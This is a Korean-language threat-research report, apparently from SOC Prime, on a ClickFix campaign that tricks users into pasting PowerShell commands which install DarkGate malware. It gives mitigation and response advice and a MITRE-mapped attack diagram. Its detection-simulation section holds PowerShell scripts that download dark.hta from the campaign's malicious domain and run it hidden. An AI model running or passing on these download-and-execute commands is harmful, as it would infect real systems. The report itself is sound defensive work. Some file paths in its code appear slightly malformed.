SOC Prime Bias: Medium

16 12월 2025 20:48

ClickFix 사례 연구: DarkGate 멀웨어

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
ClickFix 사례 연구: DarkGate 멀웨어
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

개요

보고서는 ClickFix라는 소셜 엔지니어링 기법을 설명하며, 사용자가 PowerShell 명령을 복사하여 실행하도록 유도하여 악성 HTA 파일을 다운로드하게 합니다. 이 HTA 파일은 디렉토리를 생성하고 파일을 드롭하며 C2 통신을 설정하는 AutoIt 스크립트를 포함한 추가 구성 요소를 다운로드합니다. 이 활동은 DarkGate 캠페인에 귀속되며, 간단한 탐지를 피하기 위해 base64 난독화와 클립보드 조작을 활용합니다.

조사

분석가들은 가짜 브라우저 확장 경고 페이지에 내장된 여러 층의 base64 인코딩 콘텐츠를 해독하고, linktoxic34.com에서 dark.hta를 가져오는 PowerShell 명령을 복구했습니다. 실행 시, HTA는 DES 루틴을 실행하고 추가 페이로드를 실행하는 AutoIt 실행 파일(fckhffh.a3x)을 배포합니다. 수집된 네트워크 텔레메트리는 악성 도메인으로의 HTTP(S) 트래픽을 보여주고, 뒤따르는 연결된 PowerShell 스크립트 실행을 보여줍니다.

완화

권장 방어책에는 알려지지 않은 코드 스니펫을 복사하지 않도록 사용자 인식 교육, 그룹 정책을 통한 Windows 실행 대화 상자 비활성화, 행동 기반 안티바이러스 솔루션 배포가 포함됩니다. 악성 도메인을 사전에 차단하고 비정상적인 PowerShell 실행을 모니터링하면 DarkGate 감염의 위험을 크게 줄일 수 있습니다.

대응

ClickFix 관련 이벤트가 식별되면, 영향을 받은 엔드포인트를 격리하고 모든 악성 프로세스를 중단하고 HTA 및 AutoIt 아티팩트를 제거하며 침입 중 생성된 모든 폴더에 대해 포렌식 분석을 수행하십시오. 의심스러운 PowerShell 및 HTA 실행 패턴을 플래그하도록 탐지 논리를 업데이트하고 관련 도메인이 환경 전체에서 차단되도록 하십시오.

“graph TB %% Class Definitions classDef asset fill:#f0e68c classDef technique fill:#ffcc99 classDef action fill:#99ccff classDef tool fill:#cccccc classDef file fill:#e6e6fa classDef process fill:#ffdddd %% Nodes webpage_malicious[“<b>자산</b> – 악성 웹페이지<br/>base64 암호화된 PowerShell 및 역문자열 모호화 포함”] class webpage_malicious asset tech_html_smuggling[“<b>기술</b> – <b>T1027.006</b> 모호화된 파일 또는 정보: HTML 밀수<br/>HTML/JavaScript에 숨겨진 Base64 PowerShell”] class tech_html_smuggling technique tech_stripped_payloads[“<b>기술</b> – <b>T1027.008</b> 모호화된 파일 또는 정보: 스트리핑된 페이로드<br/>중첩된 base64 문자열이 PowerShell을 숨김”] class tech_stripped_payloads technique action_user_click[“<b>행위</b> – <b>T1204.001</b> 사용자 실행: 악성 링크<br/>피해자가 ‘고치기 방법’ 버튼 클릭”] class action_user_click action tech_clipboard_data[“<b>기술</b> – <b>T1115</b> 클립보드 데이터<br/>스크립트가 PowerShell 명령을 클립보드에 복사”] class tech_clipboard_data technique action_copy_paste[“<b>행위</b> – <b>T1204.004</b> 사용자 실행: 악성 복사 및 붙여넣기<br/>사용자가 Win+R 및 Ctrl+V를 통해 명령 붙여넣기”] class action_copy_paste action tech_powershell[“<b>기술</b> – <b>T1059.001</b> 명령 및 스크립트 인터프리터: PowerShell<br/>다운로드된 명령 실행”] class tech_powershell technique process_powershell[“<b>프로세스</b> – PowerShell”] class process_powershell process tech_web_protocol[“<b>기술</b> – <b>T1071.001</b> 애플리케이션 계층 프로토콜: 웹 프로토콜<br/>HTTP(S)로 HTA 다운로드”] class tech_web_protocol technique file_dark_hta[“<b>파일</b> – dark.hta<br/>linktoxic34.com에서 다운로드된 HTA 페이로드”] class file_dark_hta file tech_mshta[“<b>기술</b> – <b>T1218.005</b> 시스템 바이너리 프록시 실행: Mshta<br/>mshta.exe를 통해 HTA 실행”] class tech_mshta technique process_mshta[“<b>프로세스</b> – mshta.exe”] class process_mshta process tech_lateral_transfer[“<b>기술</b> – <b>T1570</b> 측면 도구 전송<br/>HTA가 추가 바이너리와 함께 ZIP 아카이브 드롭”] class tech_lateral_transfer technique file_payload_zip[“<b>파일</b> – payload.zip<br/>AutoIt 스크립트 및 바이너리 포함”] class file_payload_zip file tech_masquerading[“<b>기술</b> – <b>T1036</b> 가장<br/>HTA가 적법한 수정 유틸리티로 위장됨”] class tech_masquerading technique tech_rtl_override[“<b>기술</b> – <b>T1036.002</b> 가장: 왼쪽에서 오른쪽으로 덮어쓰기<br/>탐지를 피하기 위한 역문자열 인코딩”] class tech_rtl_override technique tool_darkgate[“<b>도구</b> – DarkGate RAT<br/>지속적인 원격 액세스 제공”] class tool_darkgate tool tech_remote_access[“<b>기술</b> – <b>T1219</b> 원격 액세스 도구<br/>C2 통신을 설정”] class tech_remote_access technique %% Connections webpage_malicious u002du002d>|사용| tech_html_smuggling webpage_malicious u002du002d>|사용| tech_stripped_payloads webpage_malicious u002du002d>|유발| action_user_click action_user_click u002du002d>|도달| tech_clipboard_data tech_clipboard_data u002du002d>|활성화| action_copy_paste action_copy_paste u002du002d>|실행| tech_powershell tech_powershell u002du002d>|실행| process_powershell process_powershell u002du002d>|다운로드| tech_web_protocol tech_web_protocol u002du002d>|검색| file_dark_hta file_dark_hta u002du002d>|실행자| tech_mshta tech_mshta u002du002d>|실행| process_mshta process_mshta u002du002d>|드롭| tech_lateral_transfer tech_lateral_transfer u002du002d>|생성| file_payload_zip file_dark_hta u002du002d>|가장| tech_masquerading file_dark_hta u002du002d>|모호화| tech_rtl_override file_payload_zip u002du002d>|포함| tool_darkgate tool_darkgate u002du002d>|사용| tech_remote_access “

공격 흐름

시뮬레이션 실행

필수 조건: 텔레메트리 & 기준선 사전 체크가 통과해야 합니다.

이유: 이 섹션은 탐지 규칙을 촉발하도록 설계된 적 기법(TTP)의 정확한 실행을 자세히 설명합니다. 명령어와 설명은 반드시 식별된 TTP를 직접 반영해야 하며 탐지 논리가 기대하는 정확한 텔레메트리를 생성하는 것을 목표로 합니다.

  • 공격 서사 및 명령어:
    낮은 권한으로 타협된 Windows 호스트에서 접근 권한을 얻은 공격자가 ClickFix 캠페인에 사용된 악성 HTA 페이로드를 다운로드하고자 합니다. 숨어서 보관하려면 공격자는 PowerShell— Windows의 기본 도구—를 활용하여 외부 바이너리가 도입되지 않도록 합니다. 명령은 콘솔(또는 예약된 작업을 통해)에서 직접 실행되며, 규칙이 감시하는 정확한 URL을 포함합니다. 다운로드는 사용자의 %TEMP% 디렉토리에 저장되고, 그런 다음 Start-Process.

    $url = "https://linktoxic34.com/wp-content/themes/twentytwentytwo/dark.hta"
    $out = "$env:TEMPdark.hta"
    Invoke-WebRequest -Uri $url -OutFile $out
    Start-Process -FilePath $out
  • 회귀 테스트 스크립트: (자족적, 위의 단계를 재현)

    # ClickFix HTA 다운로드 시뮬레이션 – Sigma 규칙 트리거
    $maliciousUrl = "https://linktoxic34.com/wp-content/themes/twentytwentytwo/dark.hta"
    $destPath = "$env:TEMPdark.hta"
    
    try {
        Write-Host "[*] 악성 HTA 페이로드 다운로드 중..."
        Invoke-WebRequest -Uri $maliciousUrl -OutFile $destPath -UseBasicParsing
        Write-Host "[+] 다운로드 완료. 페이로드 실행 중..."
        Start-Process -FilePath $destPath -WindowStyle Hidden
    } catch {
        Write-Error "다운로드 또는 실행 실패: $_"
    }
  • 정리 명령어: (다운로드된 HTA 및 실행 중인 인스턴스 제거)

    # HTA 파일 제거 및 남아있는 프로세스 종료
    $htaPath = "$env:TEMPdark.hta"
    if (Test-Path $htaPath) {
        Remove-Item $htaPath -Force
        Write-Host "[*] HTA 파일이 제거되었습니다."
    }
    # HTA에서 실행되었을 수 있는 프로세스 종료 (일반 예)
    Get-Process | Where-Object {$_.Path -like "*dark.hta*"} | Stop-Process -Force